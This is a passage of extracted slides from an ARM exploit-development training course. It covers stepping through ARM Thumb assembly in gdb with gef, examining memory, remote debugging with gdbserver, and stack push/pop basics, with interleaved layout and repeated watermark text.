0x1047d <frame_dummy+37> b.n 0x103fc <register_tm_clones>
0x1047f <frame_dummy+39> nop assembly
0x10481 <main+1> push {r7, lr}
current → 0x10483 <main+3> sub sp, #16 instructions
instruction 0x10485 <main+5> add r7, sp, #0
0x10487 <main+7> str r0, [r7, #4]
0x10489 <main+9> str r1, [r7, #0]
0x1048b <main+11> movs r3, #10
0x1048d <main+13> str r3, [r7, #12]
command ────────────────────────────────────────────────────────────────────────────────
gef➤
prompt

24356915 SEC661 | ARM Exploit Development 48

In this example, some of the path names you see (i.e., /home/john/) will be different than what you see in your
vm.

Paul Erwin
Here we have issued the run command and hit the breakpoint. The display is showing a list of registers
followed by some assembly instructions. This layout is because we ran the following command to specify that
we wanted to see registers and code:

gef config context.layout "regs code"

A small arrow in the list of instructions indicates where PC is pointing to. Remember that PC always points to
the next instruction to be executed.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Notice the address of the instruction is an odd number. gef is showing us that it is a THUMB instruction. This
is a little bit strange, because we see a different value for PC in the register list. This is due to the fact that gef
is trying to make it clear that the instruction is in fact THUMB. It also shows us this by displaying
“code:arm:THUMB”.

live

48 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


───────────────────────────────────────────────────────────────── registers ────
$r0 : 0x1
$r1 : 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_loop_s[...]"
$r2 : 0xbefffb9c → 0xbefffd00 → "SHELL=/bin/bash"

09b91222e5d2d3d668cf8e52ec5d35ba
$r3 : 0x00010481 → <main+1> push {r7, lr}
$r4 : 0xbefffa68 → 0x9959153d
$r5 : 0x0
$r6 : 0x0
$r7 : 0x0
Subtract 16 (0x10) from the sp register.
After this instruction, sp (currently
$r8 : 0x0 0xbefffa48) should become 0xbefffa38.
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000
$r11 : 0x0
$r12 : 0xbefffad0 → 0x00000000
$sp : 0xbefffa48 → 0x00000000
$lr : 0x00010649 → <__libc_start_main+397> bl 0x14718 <exit>
$pc : 0x00010482 → <main+2> sub sp, #16

micede1865@wii999_com
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────── code:arm:THUMB ────
0x1047d <frame_dummy+37> b.n 0x103fc <register_tm_clones>
0x1047f <frame_dummy+39> nop
0x10481 <main+1> push {r7, lr}
→ 0x10483 <main+3> sub sp, #16
0x10485 <main+5> add r7, sp, #0
0x10487 <main+7> str r0, [r7, #4]
0x10489 <main+9> str r1, [r7, #0]
0x1048b <main+11> movs r3, #10
0x1048d <main+13> str r3, [r7, #12]
────────────────────────────────────────────────────────────────────────────────
gef➤ si si = step instruction (single step)

24356915 SEC661 | ARM Exploit Development 49

As we step through instructions using the “si” command, it is a good time to reinforce what assembly
instructions we learned. If we are at the instruction ‘sub sp, #16’, we know that 16 will be subtracted from the
current value of sp and stored back into the sp register. We can see the values in the registers and can predict

Paul Erwin
what they should be once the current instruction has been executed.

The value of 16 in hexadecimal is 0x10, so after this instruction 0x10 will be subtracted from the current sp
value and stored back into the sp register.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 49


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


───────────────────────────────────────────────────────────────── registers ────
$r0 : 0x1
$r1 : 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_loop_s[...]"
$r2 : 0xbefffb9c → 0xbefffd00 → "SHELL=/bin/bash"

09b91222e5d2d3d668cf8e52ec5d35ba $r3 : 0x00010481 → <main+1> push {r7, lr}


$r4 : 0xbefffa68 → 0x9959153d
$r5 : 0x0
$r6 : 0x0
$r7 : 0x0
The sp register value has changed.
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000
$r11 : 0x0
$r12 : 0xbefffad0 → 0x00000000
$sp : 0xbefffa38 → 0x00010168 → <_init+0> push {r3, lr}
$lr : 0x00010649 → <__libc_start_main+397> bl 0x14718 <exit>
$pc : 0x00010484 → <main+4> add r7, sp, #0

micede1865@wii999_com
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────── code:arm:THUMB ────
0x1047f <frame_dummy+39> nop
0x10481 <main+1> push {r7, lr}
0x10483 <main+3> sub sp, #16 Add 0 to sp and store the result in r7.
→ 0x10485 <main+5> add r7, sp, #0 After this instruction, r7 should hold
0x10487 <main+7> str r0, [r7, #4]
0x10489 <main+9> str r1, [r7, #0]
0xbefffa38. It will be the same as sp.
0x1048b <main+11> movs r3, #10
0x1048d <main+13> str r3, [r7, #12]
0x1048f <main+15> movs r3, #0
────────────────────────────────────────────────────────────────────────────────
gef➤ si

24356915 SEC661 | ARM Exploit Development 50

We see the expected result in sp just as we predicted from the previous slide. 0x10 was subtracted from the
previous value and stored back in sp.

Paul Erwin
Let’s do another one. For this instruction, we see ‘add r7, sp, #0’. By adding 0 to a register and storing
the result in another register, we are essentially copying the value into the other register. After this instruction,
r7 should hold the same value as the sp register.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

50 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


───────────────────────────────────────────────────────────────── registers ────
$r0 : 0x1
$r1 : 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_loop_s[...]"
$r2 : 0xbefffb9c → 0xbefffd00 → "SHELL=/bin/bash"

09b91222e5d2d3d668cf8e52ec5d35ba
$r3 : 0x00010481 → <main+1> push {r7, lr}
$r4 : 0xbefffa68 → 0x9959153d
$r5 : 0x0
$r6 : 0x0
$r7 : 0xbefffa38 → 0x00010168 → <_init+0> push {r3, lr}
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000
$r11 : 0x0
$r12 : 0xbefffad0 → 0x00000000
$sp : 0xbefffa38 → 0x00010168 → <_init+0> push {r3, lr}
$lr : 0x00010649 → <__libc_start_main+397> bl 0x14718 <exit>
$pc : 0x00010486 → <main+6> str r0, [r7, #4]

micede1865@wii999_com
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────── code:arm:THUMB ────
0x10481 <main+1> push {r7, lr}
0x10483 <main+3> sub sp, #16
0x10485 <main+5> add r7, sp, #0 Store the value of r0 (0x1) at the
→ 0x10487 <main+7> str r0, [r7, #4] address pointed to by r7 (0xbefffa38)
0x10489 <main+9> str r1, [r7, #0]
0x1048b <main+11> movs r3, #10
plus 4 (0xbefffa3c).
0x1048d <main+13> str r3, [r7, #12]
0x1048f <main+15> movs r3, #0
0x10491 <main+17> str r3, [r7, #8]
────────────────────────────────────────────────────────────────────────────────
gef➤ si

24356915 SEC661 | ARM Exploit Development 51

From the previous instruction, we see in the list of registers that r7 now holds the same value as sp. This
means the last instruction worked as expected.

Paul Erwin
The next instruction, ‘str r0, [r7, #4]’ is going to store the value in r0 at the address of r7+ 4.
Currently, the r0 register holds 0x1, so we should expect to see this value stored at r7+4 after this
instruction executes.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 51


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


───────────────────────────────────────────────────────────────── registers ────
$r0 : 0x1
$r1 : 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_loop_s[...]"
$r2 : 0xbefffb9c → 0xbefffd00 → "SHELL=/bin/bash"

09b91222e5d2d3d668cf8e52ec5d35ba $r3 : 0x00010481 → <main+1> push {r7, lr}


$r4 : 0xbefffa68 → 0x9959153d
$r5 : 0x0
$r6 : 0x0
$r7 : 0xbefffa38 → 0x00010168 → <_init+0> push {r3, lr}
$r8 : 0x0
$r9 : 0x0 r7 + 4 r7 + 8 r7 + 0xc
$r10 : 0x00074000 → 0x00000000
gef➤ x/4wx $r7
0xbefffa38: 0x00010168 0x00000001 0x00000000 0x00000000
$r11 : 0x0
$r12 : 0xbefffad0 → 0x00000000
$sp : 0xbefffa38 → 0x00010168 → <_init+0> push {r3, lr}
$lr : 0x00010649 → <__libc_start_main+397> bl 0x14718 <exit>
$pc : 0x00010488 → <main+8> str r1, [r7, #0] In gdb, enter the command:

micede1865@wii999_com
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────── code:arm:THUMB
x/4wx $r7 ────
0x10483 <main+3> sub sp, #16
0x10485 <main+5> add r7, sp, #0
0x10487 <main+7> str r0, [r7, #4] The x command allows us to examine
→ 0x10489 <main+9> str r1, [r7, #0] data in various formats. This command
0x1048b <main+11> movs r3, #10
0x1048d <main+13> str r3, [r7, #12] tells gdb to examine (x) 4 words (w) in
0x1048f <main+15> movs r3, #0 hex (x) starting at the address r7 ($r7).
0x10491 <main+17> str r3, [r7, #8]
0x10493 <main+19> b.n 0x1049a <main+26>
────────────────────────────────────────────────────────────────────────────────
gef➤

24356915 SEC661 | ARM Exploit Development 52

The instruction ‘str r1, [r7, #4]’ has just executed. Before stepping to the next instruction, let’s look
at the result of the previous str instruction. We do this by using the ‘x’ command in gdb which allows us to
examine memory. By running the command below, we display memory starting at the address of r7

Paul Erwin
(0xbefffa38). If we add 4 bytes (0xbefffa3c), we see the value of 0x00000001. This is the result of r0 being
stored at r7+4.

gef➤ x/4wx $r7


0xbefffa38: 0x00010168 0x00000001 0x00000000 0x00000000

Note: It may be helpful to remember the pattern following pattern when counting in hexadecimal: 0x0, 0x4,
0x8, 0xc, 0x10

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

52 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Examining Memory in GDB

09b91222e5d2d3d668cf8e52ec5d35ba
x allows us to specify a format to display areas of memory
x/10bx 0xbefffa38 x/5i $pc x/20wx $sp x/1s 0x6194c
x/ = examine x/ = examine x/ = examine x/ = examine
10 = 10 count 5 = 5 count 20 = 20 count 1 = 1 count
b = bytes (size) i = instructions w = words (size) s = string
x = hex $pc = start at x = hex 0x6194c = at this
0xbefffa38 = start this register $sp = start at address
at this address this register

micede1865@wii999_com
Examples

(gdb) help x
Examine memory: x/FMT ADDRESS.
ADDRESS is an expression for the memory address to examine.
FMT is a repeat count followed by a format letter and a size letter.
Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),
t(binary), f(float), a(address), i(instruction), c(char), s(string)
and z(hex, zero padded on the left).
Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).

24356915 SEC661 | ARM Exploit Development 53

The x command allows us to specify how we want to display areas of memory. You should specify the best
format for the data according to the location you are examining. The x command takes some getting used to,
but once you get the hang of it, you will find that it is extremely useful when debugging with gdb.

Paul Erwin
Let's breakdown the following command.

x/20wx $sp

We want to examine memory x/. The debugger knows that the format will follow the slash.
Show us '20' words 'w' in hexadecimal 'x'.
Start displaying memory at the address in the '$sp' register.
What if we wanted to see this in single bytes instead of words? We substitute the 'w' for the 'b'.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 53


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


───────────────────────────────────────────────────────────────── registers ────
$r0 : 0x1
$r1 : 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_loop_s[...]"
$r2 : 0xbefffb9c → 0xbefffd00 → "SHELL=/bin/bash"

09b91222e5d2d3d668cf8e52ec5d35ba $r3 : 0x00010481 → <main+1> push {r7, lr}


$r4 : 0xbefffa68 → 0x9959153d
$r5 : 0x0
$r6 : 0x0
$r7 : 0xbefffa38 → 0x00010168 → <_init+0> push {r3, lr}
gef will interpret registers as
addresses and show a preview
$r8 : 0x0 of what they point to.
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000
$r11 : 0x0
$r12 : 0xbefffad0 → 0x00000000
$sp : 0xbefffa38 → 0x00010168 → <_init+0> push {r3, lr}
$lr : 0x00010649 → <__libc_start_main+397> bl 0x14718 <exit>
$pc : 0x00010488 → <main+8> str r1, [r7, #0]

micede1865@wii999_com
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────── code:arm:THUMB ────
0x10483 <main+3> sub sp, #16
0x10485 <main+5> add r7, sp, #0 Store the value of r1 at the address
0x10487 <main+7> str r0, [r7, #4] pointed to by r7 (0xbefffa38) plus 0.
→ 0x10489 <main+9> str r1, [r7, #0]
0x1048b <main+11> movs r3, #10
0x1048d <main+13> str r3, [r7, #12] After this instruction, r7 should point to
0x1048f <main+15> movs r3, #0 the value held by r1 (0xbefffb94).
0x10491 <main+17> str r3, [r7, #8]
0x10493 <main+19> b.n 0x1049a <main+26>
────────────────────────────────────────────────────────────────────────────────
gef➤ si

24356915 SEC661 | ARM Exploit Development 54

When gef displays the registers, it interprets what the registers point to. This is helpful, but can be misleading
at times, so take what you see with a grain of salt and know that gef is just trying to make things easy for us.

Paul Erwin
Let’s do a few more instructions to make sure we’ve got the hang of this. The next instruction will store the
value in r1 into the address that r7 points to. Single step using the ‘si’ command and then let’s look at the
result.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

54 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


───────────────────────────────────────────────────────────────── registers ────
$r0 : 0x1
$r1 : 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_loop_s[...]"
$r2 : 0xbefffb9c → 0xbefffd00 → "SHELL=/bin/bash"

09b91222e5d2d3d668cf8e52ec5d35ba
$r3 : 0x00010481 → <main+1> push {r7, lr}
$r4 : 0xbefffa68 → 0x9959153d
$r5 : 0x0
$r6 : 0x0
$r7 : 0xbefffa38 → 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_[...]"
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000 gef➤ x/4wx $r7
$r11 : 0x0
0xbefffa38: 0xbefffb94 0x00000001 0x00000000 0x00000000
$r12 : 0xbefffad0 → 0x00000000
$sp : 0xbefffa38 → 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_[...]"
$lr : 0x00010649 → <__libc_start_main+397> bl 0x14718 <exit>
$pc : 0x0001048a → <main+10> movs r3, #10

micede1865@wii999_com
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────── code:arm:THUMB ────
0x10485 <main+5> add r7, sp, #0
0x10487 <main+7> str r0, [r7, #4]
0x10489 <main+9> str r1, [r7, #0]
→ 0x1048b <main+11> movs r3, #10
0x1048d <main+13> str r3, [r7, #12]
0x1048f <main+15> movs r3, #0
0x10491 <main+17> str r3, [r7, #8]
0x10493 <main+19> b.n 0x1049a <main+26>
0x10495 <main+21> ldr r3, [r7, #8]
────────────────────────────────────────────────────────────────────────────────
gef➤

24356915 SEC661 | ARM Exploit Development 55

At this point you should be able to understand the x/4wx $r7 command. If not, feel free to look back a few
slides to get a breakdown of the command syntax.

Paul Erwin
This command shows that the last instruction did in fact store the value in r1 (0xbefffb94) in the value
pointed to by the r7+0 (or just r7).

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 55


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


───────────────────────────────────────────────────────────────── registers ────
$r0 : 0x1
$r1 : 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_loop_s[...]"
$r2 : 0xbefffb9c → 0xbefffd00 → "SHELL=/bin/bash"

09b91222e5d2d3d668cf8e52ec5d35ba $r3 : 0x00010481 → <main+1> push {r7, lr}


$r4 : 0xbefffa68 → 0x9959153d
$r5 : 0x0
$r6 : 0x0
$r7 : 0xbefffa38 → 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_[...]"
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000
$r11 : 0x0
$r12 : 0xbefffad0 → 0x00000000
$sp : 0xbefffa38 → 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_[...]"
$lr : 0x00010649 → <__libc_start_main+397> bl 0x14718 <exit>
$pc : 0x0001048a → <main+10> movs r3, #10

micede1865@wii999_com
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────── code:arm:THUMB ────
0x10485 <main+5> add r7, sp, #0
0x10487 <main+7> str r0, [r7, #4]
0x10489 <main+9> str r1, [r7, #0]
→ 0x1048b <main+11> movs r3, #10 Move 10 (0xa) into r3.
0x1048d <main+13> str r3, [r7, #12]
0x1048f <main+15> movs r3, #0
0x10491 <main+17> str r3, [r7, #8]
0x10493 <main+19> b.n 0x1049a <main+26>
0x10495 <main+21> ldr r3, [r7, #8]
────────────────────────────────────────────────────────────────────────────────
gef➤ si

24356915 SEC661 | ARM Exploit Development 56

By this time, you have walked through several ARM assembly instructions. Hopefully, you are beginning to
see that assembly isn’t too hard if you break it down step-by-step. In this instruction, the value of 10 (decimal)
is being moved into r3. Does this seem like an easy one? After this instruction, r3 should hold 0xa.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

56 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


───────────────────────────────────────────────────────────────── registers ────
$r0 : 0x1
$r1 : 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_loop_s[...]"
$r2 : 0xbefffb9c → 0xbefffd00 → "SHELL=/bin/bash"
This is the expected value in r3.

09b91222e5d2d3d668cf8e52ec5d35ba
$r3 : 0xa
$r4 : 0xbefffa68 → 0x9959153d
$r5 : 0x0
$r6 : 0x0
$r7 : 0xbefffa38 → 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_[...]"
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000
$r11 : 0x0
$r12 : 0xbefffad0 → 0x00000000
$sp : 0xbefffa38 → 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_[...]"
$lr : 0x00010649 → <__libc_start_main+397> bl 0x14718 <exit>
$pc : 0x0001048c → <main+12> str r3, [r7, #12]

micede1865@wii999_com
$cpsr: [negative zero CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────── code:arm:THUMB ────
0x10487 <main+7> str r0, [r7, #4]
0x10489 <main+9> str r1, [r7, #0]
0x1048b <main+11> movs r3, #10
→ 0x1048d <main+13> str r3, [r7, #12]
0x1048f <main+15> movs r3, #0
0x10491 <main+17> str r3, [r7, #8]
0x10493 <main+19> b.n 0x1049a <main+26>
0x10495 <main+21> ldr r3, [r7, #8]
0x10497 <main+23> adds r3, #1
────────────────────────────────────────────────────────────────────────────────
gef➤

24356915 SEC661 | ARM Exploit Development 57

We see that 10 (0xa) has been moved into r3. We get it!

If in the future, you find yourself doing static analysis and can’t quite figure out what an instruction or group

Paul Erwin
of instructions is doing and you have the option to run the target program in a debugger, you can step through
the instructions to see what actually happens in a running program.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 57


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Walkthrough – Debugging Conditional Instructions

09b91222e5d2d3d668cf8e52ec5d35ba (gdb) disas main


Dump of assembler code for function main:
0x00010480 <+0>:
0x00010482 <+2>:
0x00010484 <+4>:
push
sub
add
{r7, lr}
sp, #16
r7, sp, #0
0x00010486 <+6>: str r0, [r7, #4]
Commands (mako virtual machine) 0x00010488 <+8>: str r1, [r7, #0]
0x0001048a <+10>: movs r3, #10
cd ~/labs/simple_loop/ 0x0001048c <+12>: str r3, [r7, #12]
0x0001048e <+14>: movs r3, #0
gdb ./simple_loop_static.arm 0x00010490 <+16>: str r3, [r7, #8]
gef config context.layout "regs code" 0x00010492 <+18>: b.n 0x1049a <main+26>
0x00010494 <+20>: ldr r3, [r7, #8]
disas main 0x00010496 <+22>: adds r3, #1
(set a breakpoint on the instruction just after ‘cmp r2, r3’)

micede1865@wii999_com
b *0x104a0
run
(observe r2, r3 and CPSR at the breakpoint)
0x00010498 <+24>: str
0x0001049a <+26>: ldr
0x0001049c <+28>: ldr
0x0001049e <+30>: cmp
0x000104a0 <+32>:blt.n
0x000104a2 <+34>: ldr
r3, [r7, #8]
r2, [r7, #8]
r3, [r7, #12]
r2, r3
0x10494 <main+20>
r1, [r7, #8]
c (repeat the “c” command until you break out of the loop) 0x000104a4 <+36>: ldr r3, [pc, #16]
0x000104a6 <+38>: add r3, pc
0x000104a8 <+40>: mov r0, r3
0x000104aa <+42>: bl 0x14dac <printf>
0x000104ae <+46>: movs r3, #0
0x000104b0 <+48>: mov r0, r3
0x000104b2 <+50>: adds r7, #16
0x000104b4 <+52>: mov sp, r7

24356915
0x000104b6 <+54>: pop {r7, pc}

SEC661 | ARM Exploit Development 58

This walkthrough is to be done in the mako virtual machine.

Note: When setting the breakpoint below, the address may vary, but we want to break on the instruction

Paul Erwin
following the ‘cmp r2, r3’ instruction in the main function.
b *0x104a0

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

58 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Simple Loop in Ghidra

09b91222e5d2d3d668cf8e52ec5d35ba
• In Ghidra, we see the loop
branch if r2 is less than r3
(blt)
• When this condition is no
longer true, execution will
micede1865@wii999_com
not branch and will exit don’t
branch branch
the loop

24356915 SEC661 | ARM Exploit Development 59

We will look at Ghidra in a later session, but here we see the function graph view, which shows the branching
options in a graphical format. In this example, if we do branch, we jump back and repeat the loop. If we don’t
branch, we continue on in sequence with the instructions and break out of the loop.

Paul Erwin
It’s good to have multiple tools to approach the problem from different angles, but it is more important to
understand the fundamentals of what is happening.

Ghidra and other static analysis tools allow us to see the bigger picture and then drill down as needed.
Debugging can show us specific things as they are happening while we are actually running the program.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 59


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Debugging with gdbserver

09b91222e5d2d3d668cf8e52ec5d35ba
• Remote debugging stub that works over TCP/IP
• Common interface supported by various clients
• GDB (of course), IDA Pro, Radare2, Ghidra, etc

micede1865@wii999_com
gdb
target
process
gdb tcp/ip gdbserver
target
process
(network)

standalone / same system client system target system with gdbserver


listening on the network

24356915 SEC661 | ARM Exploit Development 60

Gdb comes with a secondary component called gdbserver that is designed to run on a target system. The
gdbserver stub is much smaller and provides the ability to attach to a running process and listen for commands
from a gdb client coming over a network. This stub can be cross compiled and ran on target system (i.e., a

Paul Erwin
router or iot device) even if it is a different architecture. The gdb client must be configured for the correct type
of architecture that it is communicating with.

Notice the size difference between gdb (over 8MB) and gdbserver (510KB). This is good for embedded
systems since the smaller size is convenient for putting gdbserver on devices that might have a limited storage
capacity (i.e., IoT devices).

nemo@hammerhead:~$ ls -lh /usr/bin/gdb

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
-rwxr-xr-x 1 root root 8.1M Aug 4 2020 /usr/bin/gdb

nemo@hammerhead:~$ ls -lh /usr/bin/gdbserver


-rwxr-xr-x 1 root root 510K Aug 4 2020 /usr/bin/gdbserver

Note: Leaving a gdbserver listening on a target can be a security risk, since other clients can connect and take
over the target service. Be careful when using this tool and don’t run it in a production environment.

live

60 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 2 | Debugging ARM Assembly

09b91222e5d2d3d668cf8e52ec5d35ba Duration Time: 20 Minutes

There are lots of ARM assembly instructions and learning them takes time. This lab is designed to get you
familiar with some common instructions by stepping through them one at a time and observing the affects
they have on the system. If you are new to ARM assembly, it may seem overwhelming, but don't be
discouraged; you will begin to notice patterns the more you work with it.

OBJECTIVES PREPARATION




micede1865@wii999_com
Using the gdb debugger with the gef plugin
Setting breakpoints
Single stepping through ARM assembly
This lab will be done in the Mako virtual machine.

See the SANS SEC661 workbook for detailed lab


• Examining process memory while in gdb instructions.

Tools used: gdb, gef

24356915 SEC661 | ARM Exploit Development 61

For detailed lab instructions, see the SANS SEC661 workbook.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 61


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC661.1
Course Roadmap 1. ARM Overview

09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack

micede1865@wii999_com Lab: Branching


7. Stack Overflows
Labs: Stack Overflows, TLV (Bonus)
8. Exploit Mitigations
9. Shellcode
Labs: Shellcode, Bad characters (Bonus)
10. Intro to Ghidra (Bonus)

24356915 SEC661 | ARM Exploit Development 62

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

62 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC 661.1 ARM Exploit Fundamentals

The Stack
09b91222e5d2d3d668cf8e52ec5d35ba
The stack is a central data structure and one that is especially important for exploit
development. It is used for many things such as saving state, passing arguments
micede1865@wii999_com
between functions, and storing local variables. The stack works the same between
many different architectures and falls under heavy scrutiny as a straightforward attack
vector. Understanding how the stack works and its role on the target system is one of
the core fundamentals of exploit development.

24356915 SEC661 | ARM Exploit Development 63

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 63


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


The Stack

09b91222e5d2d3d668cf8e52ec5d35ba
• Data structure used by functions for:
• Storing local variables
• Passing arguments to other functions
• Returning to the calling function
• Saving state (context)
micede1865@wii999_com
• The top address of the stack is stored in the SP register
• LIFO (last in / first out) Each thread has its own fixed-size stack
that gets established when the thread is
created.

24356915 SEC661 | ARM Exploit Development 64

When a new thread spins up on a system, it gets a fixed amount of stack space associated with it. The
functions used by the thread use the stack for passing arguments to other functions and storing local variables.
The stack is a critical data structure and heavily used for quick data storage. The top of the stack can always be

Paul Erwin
found by looking at the address stored in the SP register. It is a last in / first out data structure, meaning the last
thing that gets stored there is the first thing to be popped out.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

64 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Stack Data – Push and Pop

09b91222e5d2d3d668cf8e52ec5d35ba
• Push data onto the stack
• Grow the stack
• Pop data off the stack
Grow (Push)
• Shrink the stack

micede1865@wii999_com
32-bit / 4-byte increments
Example: 0x44332211 Shrink (Pop)

The Stack

24356915 SEC661 | ARM Exploit Development 65

For 32-bit systems, the width of the stack is 32-bits or 4 bytes. We grow the stack by pushing values on top of
the stack. This will grow the stack by 4 bytes every time a value is pushed onto the stack. Conversely, we
shrink the stack by popping a 32-bit value off the top of the stack.

Paul Erwin
This is similar to a stack of plates. When we add another plate to the top of a stack, we push a value off the
stack and when we remove a plate, we are popping a value off the stack. Just remember, pushing onto the
stack grows the stack and popping off the stack shrinks the stack.

Whenever we push or pop, the stack pointer gets updated so that it always points to the top of the stack.

As you may have guessed, in 64-bit system, the stack is 64-bit or 8-bytes wide.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 65


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Push Data onto the Stack

09b91222e5d2d3d668cf8e52ec5d35ba The SP register always points


to the top of the stack.

0x00000004 SP 0x00000004
SP
mov r2, #4
push {r2} Grow (Push)

micede1865@wii999_com
The Stack (before) The Stack (after)

24356915 SEC661 | ARM Exploit Development 66

This illustration shows the value 4 being moved into r2 and then r2 being pushed onto the stack. The stack
pointer (SP) register gets adjusted and now points to the address holding the value 0x4 at the top of the stack.
After the push instruction, the value that was in r2 stays in r2.

Remember that: Paul Erwin


- Pushing will grow the stack (making the stack of plates bigger)
- Popping will shrink the stack (taking plates off the top of the stack)

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

66 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Push Multiple Registers onto the Stack

09b91222e5d2d3d668cf8e52ec5d35ba
0x00000001
SP 0x00000001
0x00000004
0x00000004
0x00000006 0x00000006
SP
Grow (Push)
MOV R1, #1
MOV R2, #4

micede1865@wii999_com
MOV R3, #6

PUSH {R1, R2, R3}

The Stack (before) The Stack (after)

24356915 SEC661 | ARM Exploit Development 67

We can push multiple values onto the stack using a single ARM assembly instruction. This illustration shows
values moving into three registers (r1-r3) and those registers all being pushed onto the stack in a single
instruction. The braces { } allow for multiple values to be pushed onto the stack. Instead of shifting 4 bytes,

Paul Erwin
